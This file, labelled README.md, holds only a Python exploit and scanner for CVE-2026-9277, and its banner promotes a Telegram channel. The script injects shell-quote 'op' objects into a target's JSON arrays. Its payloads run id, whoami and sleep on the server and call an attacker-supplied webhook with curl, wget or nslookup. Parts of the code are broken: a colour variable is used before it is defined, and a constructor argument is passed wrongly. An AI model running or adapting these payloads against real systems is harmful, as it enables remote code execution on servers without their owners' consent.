README.md
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import requests
import time
import argparse
import json
from copy import deepcopy
import urllib3
from typing import Dict, Any, List
def print_banner():
print(r"""
____ __ _ __ __
/ __ \________ ____ _____/ / / | / /__ / /_
/ / / / ___/ _ \/ __ / __ / / |/ / _ \/ __/
/ /_/ / / / __/ /_/ / /_/ / / /| / __/ /_
/_____/_/ \___/\__,_/\__,_/ /_/ |_/\___/\__/ """)
print("")
print("Telegram: t.me/Dread_Net")
print("")
print(ColorRed + """
CVE-2026-9277
Author: Fatemeh Zahedi
""" + ColorReset)
ColorRed = '\033[91m'
ColorReset = '\033[0m'
print_banner()
urllib3.disable_warnings()
class Colors:
"""ANSI color codes for clean terminal output formatting."""
GREEN = '\033[92m'
RED = '\033[91m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
CYAN = '\033[96m'
MAGENTA = '\033[95m'
BOLD = '\033[1m'
RESET = '\033[0m'
class AdvancedCVE2026Fuzzer:
def __init__(self, url: str, timeout: int = 5):
self.url = url
self.timeout = timeout
self.session = requests.Session()
self.session.verify = False
self.baseline_avg = 0.0
def calculate_baseline(self, base_body: Dict) -> bool:
"""Calculates normal server response time to prevent false positives in time-based detection."""
print(f"{Colors.BLUE}[*] Calculating server baseline response time (3 requests)...{Colors.RESET}")
times = []
for _ in range(3):
try:
start = time.time()
self.session.post(self.url, json=base_body, timeout=self.timeout + 2)
times.append(time.time() - start)
except Exception as e:
print(f"{Colors.RED}[-] Baseline calculation failed: {e}{Colors.RESET}")
return False
self.baseline_avg = sum(times) / len(times)
print(f"{Colors.GREEN}[+] Baseline calculated: {self.baseline_avg:.4f}s{Colors.RESET}\n")
return True
def print_evidence(self, strategy: str, payload_desc: str, request_body: Dict, response_text: str, rce_type: str, elapsed: float):
"""Prints a structured summary of a confirmed vulnerability vector."""
print(f"\n{Colors.BOLD}{Colors.RED}[!] VULNERABILITY CONFIRMED! ({rce_type}){Colors.RESET}")
print(f"{Colors.BOLD}[+] Strategy/Path:{Colors.RESET} {Colors.CYAN}{strategy}{Colors.RESET}")
print(f"{Colors.BOLD}[+] Payload Context:{Colors.RESET} {Colors.YELLOW}{payload_desc}{Colors.RESET}")
print(f"{Colors.BOLD}[+] Execution Time:{Colors.RESET} {elapsed:.2f}s")
print(f"{Colors.BOLD}{Colors.MAGENTA}+----------------─── EVIDENCE DETAILS ───────────────────+{Colors.RESET}")
print(f" {Colors.BOLD}{Colors.BLUE}SENT REQUEST BODY:{Colors.RESET}")
print(f" {json.dumps(request_body, indent=4)}")
print(" ")
print(f" {Colors.BOLD}{Colors.GREEN}RECEIVED RESPONSE BODY:{Colors.RESET}")
clean_resp = response_text.strip()
if not clean_resp:
print(" [Empty Response / Triggered OOB Execution]")
else:
lines = clean_resp.splitlines()
for line in lines[:12]:
print(f" {line}")
if len(lines) > 12:
print(f" ... (Truncated)")
print(f"{Colors.BOLD}{Colors.MAGENTA}+----------------────────────────────────────────────────+{Colors.RESET}\n")
def send(self, payload: Dict, strategy: str, payload_desc: str, is_oob: bool = False) -> bool:
"""Sends the payload and evaluates indicators of compromise (In-Band and Time-Based)."""
start = time.time()
try:
r = self.session.post(self.url, json=payload, timeout=self.timeout + 2)
elapsed = time.time() - start
text_lower = r.text.lower()
# Indicator 1: Direct operating system command leakage in the response body
if any(k in text_lower for k in ["uid=", "root:x:", "id: command not found", "whoami:"]):
self.print_evidence(strategy, payload_desc, payload, r.text, "In-Band / Output Leaked", elapsed)
return True
# Indicator 2: Dynamic verification for Out-of-Band delivery
if is_oob and r.status_code == 200:
self.print_evidence(strategy, payload_desc, payload, r.text, "Out-of-Band (OOB) / Exploit Dispatched", elapsed)
return True
# Indicator 3: Absolute delta comparison against the calculated network baseline
if not is_oob and (elapsed - self.baseline_avg) >= (self.timeout - 0.5):
self.print_evidence(strategy, payload_desc, payload, r.text, "Time-Based RCE", elapsed)
return True
except Exception:
pass
return False
def mutate_recursive(self, current_node: Any, path: str, webhook: str, callback) -> None:
"""Recursively parses the JSON structure to find target arrays at any depth layer."""
if isinstance(current_node, dict):
for k, v in current_node.items():
new_path = f"{path}.{k}" if path else k
if isinstance(v, list):
self.apply_mutation_matrix(v, new_path, webhook, callback)
else:
self.mutate_recursive(v, new_path, webhook, callback)
elif isinstance(current_node, list):
for idx, item in enumerate(current_node):
self.mutate_recursive(item, f"{path}[{idx}]", webhook, callback)
def apply_mutation_matrix(self, original_array: List, path: str, webhook: str, callback):
"""Generates combinatorics mutations based on the shell-quote primitive array flaws."""
arr_len = len(original_array)
# 1. Local command testing vectors
local_tokens = [{"op": ";\nid"}, {"op": ";\nwhoami"}, {"op": f";\nsleep {self.timeout}"}]
for token in local_tokens:
token_desc = json.dumps(token)
for i in range(arr_len + 1):
def action_insert(target_arr, idx=i, t=token):
target_arr.insert(idx, t)
callback(action_insert, path, f"Local -> Index {i}", token_desc, False)
def action_override(target_arr, t=token):
target_arr.clear()
target_arr.append(t)
callback(action_override, path, "Local Override", token_desc, False)
# 2. Out-of-Band (OOB) sequence mutation matrix
if webhook:
oob_cmds = [";\ncurl", ";\nwget", ";\nnslookup"]
for cmd in oob_cmds:
arg_value = webhook if "nslookup" not in cmd else webhook.replace("http://", "").replace("https://", "").split('/')[0]
# Sequential Array Pair: Inserts [Object(op), String(url)] into the target structure
for i in range(arr_len + 1):
def action_oob_pair(target_arr, idx=i, c=cmd, a=arg_value):
target_arr.insert(idx, a)
target_arr.insert(idx, {"op": c})
callback(action_oob_pair, path, f"OOB Strat-1 -> Index {i}", f"[{cmd}, {arg_value}]", True)
# Total Array Replacement strategy
def action_oob_override(target_arr, c=cmd, a=arg_value):
target_arr.clear()
target_arr.append({"op": c})
target_arr.append(a)
callback(action_oob_override, path, "OOB Strat-2 -> Total Override", f"[{cmd}, {arg_value}]", True)
def run_fuzzing(self, base_body: Dict, webhook: str = None):
print(f"\n{Colors.BOLD}{Colors.BLUE}[*] Advanced Structural Exploit Scanner for CVE-2026-9277{Colors.RESET}")
print(f"{Colors.BOLD}[*] Target URL:{Colors.RESET} {self.url}")
if not self.calculate_baseline(base_body):
print(f"{Colors.RED}[-] Target unreachable or baseline error.{Colors.RESET}")
return
print(f"{Colors.BOLD}[*] Scanning target JSON layers... (Non-exploitable mutations are hidden){Colors.RESET}")
print("-" * 80)
def execute_mutation(mutation_func, target_path, strategy_name, payload_desc, is_oob):
working_copy = deepcopy(base_body)
try:
parts = target_path.split(".")
target_node = working_copy
for p in parts:
if not p: continue
if '[' in p:
name = p.split('[')[0]
idx = int(p.split('[')[1].replace(']', ''))
target_node = target_node[name][idx]
else:
target_node = target_node[p]
if isinstance(target_node, list):
mutation_func(target_node)
self.send(working_copy, f"{target_path} ({strategy_name})", payload_desc, is_oob)
except Exception:
pass
self.mutate_recursive(base_body, "", webhook, execute_mutation)
print("-" * 80)
print(f"{Colors.BOLD}[+] Scan processing finished.{Colors.RESET}\n")
def main():
parser = argparse.ArgumentParser(description="CVE-2026-9277 Structural Injection Exploit & Scanner")
parser.add_argument("-u", "--url", required=True, help="Target URL endpoint")
parser.add_argument("-b", "--body", required=True, help="Base JSON format configuration (supports nesting)")
parser.add_argument("-w", "--webhook", default=None, help="Optional OOB webhook server url")
parser.add_argument("-t", "--timeout", type=int, default=5, help="Time delay for blind detection verification")
args = parser.parse_args()
try:
base = json.loads(args.body)
except Exception as e:
print(f"[-] Input parse error (Invalid JSON structure): {e}")
return
fuzzer = AdvancedCVE2026Fuzzer(args.timeout)
fuzzer.url = args.url
fuzzer.run_fuzzing(base, args.webhook)
if __name__ == "__main__":
main()